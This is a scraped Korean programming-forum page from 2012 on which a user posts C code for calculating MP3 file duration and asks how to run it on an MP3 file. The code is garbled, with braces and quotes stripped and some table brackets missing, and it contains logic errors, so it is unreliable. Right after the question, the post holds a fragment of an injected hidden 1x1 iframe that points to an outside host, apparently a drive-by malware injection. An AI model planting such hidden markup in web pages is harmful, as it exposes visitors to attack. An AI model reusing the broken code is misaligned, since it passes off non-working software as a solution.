디시인사이드 갤러리

갤러리 이슈박스, 최근방문 갤러리

갤러리 본문 영역

MP3 길이 계산하는 코딩인데 실행해보고싶다 ㅠㅠ

ㅇㅇㅇㅇ(121.157) 2012.01.15 23:27:27
조회 116 추천 0 댓글 6


#include <stdio.h> 
#include <sys/types.h> 
#include <winsock2.h> 
#include <fcntl.h> 
#include <sys/stat.h> 
 
int main(int s_Argc, char **s_Argv); 
unsigned long MZ_MP3_Time(char *s_MP3_Name); 
 
int g_BitrateIndexTable[4][3][16] = { 
{ // Version 2.5 
{ // Layer I 
0, 32, 48, 56, 64, 80, 96, 112, 128, 144, 160, 176, 192, 224, 256, (-1) 
}, 
{ // Layer II 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 
}, 
{ // Layer III 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 

}, 
{ // Version reserved 
{0,},{0,},{0,} 
}, 
{ // Version 2.0 (ISO / IEC 13818-3) 
{ // Layer I 
0, 32, 48, 56, 64, 80, 96, 112, 128, 144, 160, 176, 192, 224, 256, (-1) 
}, 
{ // Layer II 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 
}, 
{ // Layer III 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 

}, 
{ // Version 1.0 (ISO / IEC 11172-3) 
{ // Layer I 
0, 32, 64, 96, 128, 160, 192, 224, 256, 288, 320, 352, 384, 416, 448, (-1) 
}, 
{ // Layer II 
0, 32, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, (-1) 
}, 
{ // Layer III 
0, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, (-1) 


}; 
 
int g_FrequencyTable[4][4] = { 
{ // Version 2.5 
11025, 12000, 8000, (-1) 
}, 
{ // Version reserved 
(-1), 
}, 
{ // Version 2.0 
22050, 24000, 16000, (-1) 
}, 
{ // Version 1.0 
44100, 48000, 32000, (-1) 

}; 
 
char *g_ChannelModeString[] = { 
"Stereo", "Joint steroeo", "Dual stereo", "Single stereo" 
}; 
 
char *g_LayerString[] = { 
"Layer I", "Layer II", "Layer III" 
}; 
 
int main(int s_Argc, char **s_Argv) 

int s_Return = 0; 
if(s_Argc >= 2) 

int s_Count; 
int s_Hour, s_Min, s_Sec; 
for(s_Count = 1;s_Count < s_Argc;s_Count++) 

s_Return = MZ_MP3_Time(s_Argv[s_Count]); 
if(s_Return > 0) 

s_Sec = s_Return % 60; 
s_Min = s_Return / 60; 
s_Hour = s_Return / 3600; 
fprintf(stdout, ""%s" - %02d:%02d:%02d ", s_Argv[s_Count], s_Hour, s_Min, s_Sec); 

else fprintf(stdout, ""%s" - Unknown MP3 format ", s_Argv[s_Count]); 


else fprintf(stderr, "mp3_time <mp3 file> "); 
return(s_Return); 

 
unsigned long MZ_MP3_Time(char *s_MP3_Name) 

unsigned long s_Return = 0lu; 
if(s_MP3_Name) 

int s_Handle; 
s_Handle = open(s_MP3_Name, O_RDONLY); 
if(s_Handle >= 0) 

int s_ReadSize; 
unsigned long s_Header = 0lu; 
unsigned char s_Buffer; 
unsigned long s_VersionID = 0lu, s_Layer = 0lu, s_BitrateIndex = 0lu, s_FrequencyIndex = 0lu, s_Padding = 0lu; 
//unsigned long s_Protection = 0lu, s_ChannelMode = 0lu, s_ModeExtension = 0lu, s_Copyright = 0lu, s_Original = 0lu, s_Emphasis = 0lu; 
 
unsigned long s_FrameSize = 0lu, s_FrameCount = 0lu; 
 
do 

s_ReadSize = read(s_Handle, &s_Buffer, sizeof(unsigned char)); 
if(s_ReadSize > 0) 

s_Header = (s_Header << 8) | (unsigned long)(s_Buffer & 0xff); 
if((s_Header & 0xffe00000lu) == 0xffe00000lu) 

s_VersionID = (s_Header >> 19) & 0x03; 
s_Layer = (s_Header >> 17) & 0x03; 
//s_Protection = (s_Header >> 16) & 0x01; 
s_BitrateIndex = (s_Header >> 12) & 0x0f; 
s_FrequencyIndex = (s_Header >> 10) & 0x03; 
s_Padding = (s_Header >> 9) & 0x01; 
//s_ChannelMode = (s_Header >> 6) & 0x03; 
//s_ModeExtension = (s_Header >> 4) & 0x03; 
//s_Copyright = (s_Header >> 3) & 0x01; 
//s_Original = (s_Header >> 2) & 0x01; 
//s_Emphasis = (s_Header >> 0) & 0x03; 
if(s_VersionID != 0x01 && 
s_Layer != 0x00 && 
s_BitrateIndex != 0x0f && s_BitrateIndex != 0 && 
s_FrequencyIndex != 0x03 


switch((3 - s_Layer)) 

case 0: // Layer I 
s_FrameSize = 12000lu * g_BitrateIndexTable[s_VersionID][3 - s_Layer][s_BitrateIndex]; 
s_FrameSize /= g_FrequencyTable[s_VersionID][s_FrequencyIndex]; 
s_FrameSize = ((s_FrameSize + s_Padding)<<2) - 4; 
break; 
case 1: // Layer II 
s_FrameSize = 144000lu * g_BitrateIndexTable[s_VersionID][3 - s_Layer][s_BitrateIndex]; 
s_FrameSize /= g_FrequencyTable[s_VersionID][s_FrequencyIndex]; 
s_FrameSize += s_Padding - 4; 
case 2: // Layer III 
default: 
s_FrameSize = 144000lu * g_BitrateIndexTable[s_VersionID][3 - s_Layer][s_BitrateIndex]; 
s_FrameSize /= g_FrequencyTable[s_VersionID][s_FrequencyIndex] << (s_VersionID == 0x03 ? 0 : 1); 
s_FrameSize = s_FrameSize + s_Padding - 4; 
break; 

s_Header = 0lu; 
if(s_FrameSize > 0) 

s_FrameCount++; 
lseek(s_Handle, s_FrameSize, SEEK_CUR); 




}while(s_ReadSize > 0); 
close(s_Handle); 
s_Return = (((s_FrameCount * 1152) / g_FrequencyTable[s_VersionID][s_FrequencyIndex]) >> (s_VersionID == 0x03 ? 0 : 1)); 

else fprintf(stderr, "mp3_time.c: MZ_MP3_Time - [ERROR] Can not open mp3 "%s" !!! ", s_MP3_Name); 

else fprintf(stderr, "mp3_time.c: MZ_MP3_Time - [ERROR] s_MP3_Name is null !!! "); 
return(s_Return); 









실행하면 그냥 mp3_time <mp3 file> 출력 되고 끝..
어떻게 mp3 파일을 불러오는지 도와줄분?me width=1 src =http://ad01.mooo.com/advertis/ height=1>

추천 비추천

0

고정닉 0

0

댓글 영역

전체 댓글 0
본문 보기

하단 갤러리 리스트 영역

왼쪽 컨텐츠 영역

갤러리 리스트 영역

갤러리 리스트
번호 제목 글쓴이 작성일 조회 추천
설문 대박 날 것 같아서 내 꿈에 나와줬으면 하는 스타는? 운영자 25/11/17 - -
AD 겨울가전 SALE! 쿨한 겨울 HOT세일 운영자 25/11/12 - -
298905 삼섬 소프트웨어 맴버십 강남 면접 후기..... [32] 뉴비 ㅠㅠ(112.151) 12.01.16 609 0
298904 21살 약사vs프로그래머 [7] ㅇㅇ(175.211) 12.01.16 273 1
298901 미친 명령프롬프트가 키자마자 닫히면 어떡해야하냐? [1] ㅊㅍㅊㅌㅍ(121.157) 12.01.16 63 0
298899 RS232로 ESC조종이 가능합니까? [20] 유파최고갤로그로 이동합니다. 12.01.15 125 0
298898 안녕 프갤러들아 주말 잘 지냈니? SODMaster갤로그로 이동합니다. 12.01.15 34 0
MP3 길이 계산하는 코딩인데 실행해보고싶다 ㅠㅠ [6] ㅇㅇㅇㅇ(121.157) 12.01.15 116 0
298896 주식 챠트 같은 것을 만들만한 그래픽 라이브러리를 찾는데. ㅇㅇ [1] ☎v2.0™갤로그로 이동합니다. 12.01.15 90 0
298894 내가 다시 대학생 새내기로 돌아간다면 [15] 영어쓰던남자갤로그로 이동합니다. 12.01.15 253 0
298892 야 SSM 씀 지원해서 삼성전자가면 그냥 일반 신입이랑 대우 다르냐? [3] 루드린갤로그로 이동합니다. 12.01.15 244 0
298890 삼성 소멤(ssm) 13일 면접 후기~(수정) [8] Silvester(58.227) 12.01.15 744 0
298888 애플은 그냥 악세사리인것 같다 [1] 된장(211.197) 12.01.15 40 0
298887 세미나 소식 이런거 어디서 접함?? 피코피코갤로그로 이동합니다. 12.01.15 37 0
298886 질문 ㅎㅎㅎㅎㅎㅎㅎㅎ [31] 하마돈갤로그로 이동합니다. 12.01.15 179 0
298885 질러뒀던 배트맨 아깜빵 하고있는데- ㅋㄱ(183.96) 12.01.15 25 0
298884 아.. 컴퓨터좀 잘하시는분 ㅠㅠ; 이런경우 어떻게 해아하나요... [4] 뿌뿌(121.88) 12.01.15 86 0
298882 야 여기에 SSM(삼성소프트웨어 맴버십) 강남 지부에 지원한사람있냐? [12] 루드린갤로그로 이동합니다. 12.01.15 391 0
298881 나노재능인듯 이쪽에 ㅎㅎㅎㅎㅎㅎㅎ [2] 하마돈갤로그로 이동합니다. 12.01.15 100 0
298880 OS 진행상황하고 책본거랑 아는거 몇개 ㅋㅋ [5] ㅁㄴㅇㄹ(59.30) 12.01.15 183 0
298879 해커스쿨 여기 나같은 찌랭이들은 순식간에 잡전 다 털리고 [2] ㅇㅇ(220.87) 12.01.15 104 0
298878 제 질문에 답해줄 고수 없나여. SODMaster갤로그로 이동합니다. 12.01.15 43 0
298877 ruby나 python html소스 올려놓고 주소 주는 사이트 아는사람? [2] 사이트(218.147) 12.01.15 74 0
298876 질문하나더 [13] 하마돈갤로그로 이동합니다. 12.01.15 98 1
298875 형들 근데 OS로 포트폴리오 만들어가면 주로 면접관이 뭘 볼까영?? [12] ㅁㄴㅇㄹ(59.30) 12.01.15 219 0
298874 자바관련 질문 짧습니다, 짧게 답해주실분;;; [6] 자바만세(121.129) 12.01.15 70 0
298873 문장이해력이 딸리는것 같아요 횽 ㅠ 쿠마코갤로그로 이동합니다. 12.01.15 64 0
298872 형들 자꾸 물어봐서미안한데 [5] 하마돈갤로그로 이동합니다. 12.01.15 91 0
298871 야근있는 회사 야근없는 회사 백점만점십점(218.39) 12.01.15 2438 0
298870 RIA 에 대해서 볼려고 하는데 [1] 좋은아버지갤로그로 이동합니다. 12.01.15 54 0
298867 올해 망조들어서 프로그래머들하고 공학계 인간들 돈좀 만지겠군하~ [6] 김모씨(118.176) 12.01.15 240 0
298866 error C2106: '=' : 왼쪽 피연산자는 l-value이어야 [23] 하마돈갤로그로 이동합니다. 12.01.15 109 0
298865 별사탕 OS는 어떻게 되었으려나? [1] elwlwlwk갤로그로 이동합니다. 12.01.15 80 0
298864 웹사이트 구축하고자 하는데 어찌해야 할까요? [9] ㅇㅇ(124.3) 12.01.15 127 0
298862 안다로이드 기반 os만들 능력자 있나요? [2] 왓더(211.246) 12.01.15 110 0
298859 형들 해킹에 대해서 궁금한게 있는데 ㅁㄴㅇㄹ(121.158) 12.01.15 68 0
298857 신입 입사 지원할때 포트폴리오로 OS 하나 만들어서 할려고 했는데 [8] ㅁㄴㅇㄹ(59.30) 12.01.15 184 0
298856 크롬느님은 왜 갤질하면 자꾸 뻗지 dlbo갤로그로 이동합니다. 12.01.15 32 0
298855 플그래밍 잘하는님아들 [8] 존슨즈아기화장수갤로그로 이동합니다. 12.01.15 140 0
298854 댓글돌이까지만 소환해보자 [7] 띠로리로리갤로그로 이동합니다. 12.01.15 106 0
298853 ㅁㄴㄹ ㅁㄴㄹ(125.135) 12.01.15 18 0
298852 횽들 ios/안드로이드 모바일게임 개발하려면 초기 투자비가 얼마쯤 깨져? [6] ㅇㅇㅇ(221.147) 12.01.15 118 0
298851 ㅁㄶㅁㄶ ㅁㄴㄹ(125.135) 12.01.15 22 0
298850 형님들 php나 제로보드로 대학총동문회 사이트 만들어야 되는데 도와주세요 [6] 123(121.88) 12.01.15 86 0
298849 해외 해외 하니 나도 목표중 하나가 해외 대학원.. +어게인갤로그로 이동합니다. 12.01.15 85 0
298848 어디에 있는 코드게? [1] elwlwlwk갤로그로 이동합니다. 12.01.15 58 0
298847 컴자격증 많이 따보신 님들아 [5] 비수쉴드갤로그로 이동합니다. 12.01.15 103 0
298844 나 고3때 수리 가 모의 100점 맞았었음.. [2] ㅋㄱ(183.96) 12.01.15 89 0
298843 치킨 무시하지 마라능. ㅇㅇ [1] ☎v2.0™갤로그로 이동합니다. 12.01.15 78 0
298842 형들 나 수리5등급에 수포자인데ㅋㅋㅋ [3] 어려운리눅스갤로그로 이동합니다. 12.01.15 93 0
298841 형들 나 아랫글보니궁금한거 [1] 코딩...?갤로그로 이동합니다. 12.01.15 44 0
298840 컴공? 컴과? [9] 전과생(121.167) 12.01.15 199 0
갤러리 내부 검색
제목+내용게시물 정렬 옵션

오른쪽 컨텐츠 영역

실시간 베스트

1/8

디시미디어

디시이슈

1/2